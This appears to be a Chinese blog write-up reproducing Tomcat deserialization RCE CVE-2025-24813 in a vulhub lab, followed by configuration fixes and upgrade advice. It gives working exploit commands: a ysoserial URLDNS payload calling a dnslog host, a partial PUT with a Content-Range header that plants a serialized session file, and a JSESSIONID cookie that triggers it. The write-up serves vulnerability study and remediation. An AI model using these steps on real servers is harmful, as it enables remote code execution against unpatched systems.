漏洞复现-tomcat远程代码执行 CVE-2025-24813(RCE)

漏洞复现-tomcat远程代码执行 CVE-2025-24813(RCE)

一、漏洞背景与风险等级
  • 漏洞类型:远程代码执行(RCE)
  • 影响版本
    • Tomcat 9.x ~ 9.0.97
    • Tomcat 10.x ~ 10.1.34
    • Tomcat 11.x ~ 11.0.2
  • 风险等级:高危(CVSS 9.8+)
  • 漏洞成因
    • 错误配置 1DefaultServlet 配置为可写(readonly=false),允许文件上传。
    • 错误配置 2:基于文件的会话持久化(FileStore)与 DefaultServlet 使用相同存储路径。
    • 利用点:通过 Content-Range 头写入恶意序列化文件,并通过 JSESSIONID 触发反序列化。

二、复现环境搭建
  1. 启动漏洞环境

    • 使用 vulhub 提供的 Docker 环境:
      docker compose up -d
      

    在这里插入图片描述

    • 验证服务:访问 http://your-ip:8080,确认 Tomcat 示例页面正常加载。
    • 在这里插入图片描述
  2. 攻击机准备

    • 工具
      • curl:发送 HTTP 请求。
      • ysoserial:生成恶意序列化对象(如 URLDNS Gadget)。
      • tcpdump 或 Wireshark:捕获 DNS 请求(验证反序列化)。

三、漏洞复现步骤
1. 生成恶意序列化对象
  • 使用 ysoserial
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://9yjyon.dnslog.cn" > payload.bin
    
    • 说明:生成一个触发 DNS 查询的序列化对象(用于验证漏洞利用)。
      在这里插入图片描述
2. 写入恶意文件到临时目录
  • 发送部分 PUT 请求
    curl -X PUT http://your-ip:8080/deserialize/session \
      -H "Content-Range: bytes 0-5/10" \
      -H "Content-Length: 1234" \
      --data-binary @payload.bin
    
    或单行格式
curl -X PUT http://your-ip:8080/deserialize/session  -H "Content-Range: bytes 0-5/10"  -H "Content-Length: 1234"  --data-binary @payload.bin
  • 关键点
    • Content-Range 头触发 Tomcat 将文件路径中的 / 替换为 .,写入 .deserialize.session 文件。
    • 文件存储路径:$CATALINA_BASE/work/Catalina/localhost/ROOT/.deserialize.session
      在这里插入图片描述
3. 触发反序列化
  • 发送带恶意 JSESSIONID 的请求
    curl -v http://192.168.253.138:8080/  -H "Cookie: JSESSIONID=.deserialize"
    
    • 预期结果
      • Tomcat 读取 .deserialize.session 文件并反序列化,触发 URLDNS Gadget。
      • DNS 请求发送到 your-dnslog-server.com,证明反序列化成功。
        在这里插入图片描述
        dnslog收到请求
        在这里插入图片描述
        bp也提供了dnslog类似的功能
        在这里插入图片描述
四、漏洞修复建议
  1. 禁用 DefaultServlet 文件写入
    • 修改 conf/web.xml,设置 readonly=true
      <init-param>
          <param-name>readonly</param-name>
          <param-value>true</param-value>
      </init-param>
      
  2. 禁用基于文件的会话持久化
    • 修改 conf/context.xml,使用 StandardManager 替代 PersistentManager
      <Manager className="org.apache.catalina.session.StandardManager" />
      
  3. 升级 Tomcat 版本
    • 升级到官方修复版本(如 Tomcat 9.0.98+)。

五、总结
  • 漏洞本质:错误配置导致文件写入和反序列化漏洞结合。
  • 影响范围:所有使用 Tomcat 9.x ~ 11.x 特定版本的系统。
  • 修复优先级:极高,建议立即升级或禁用相关配置。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值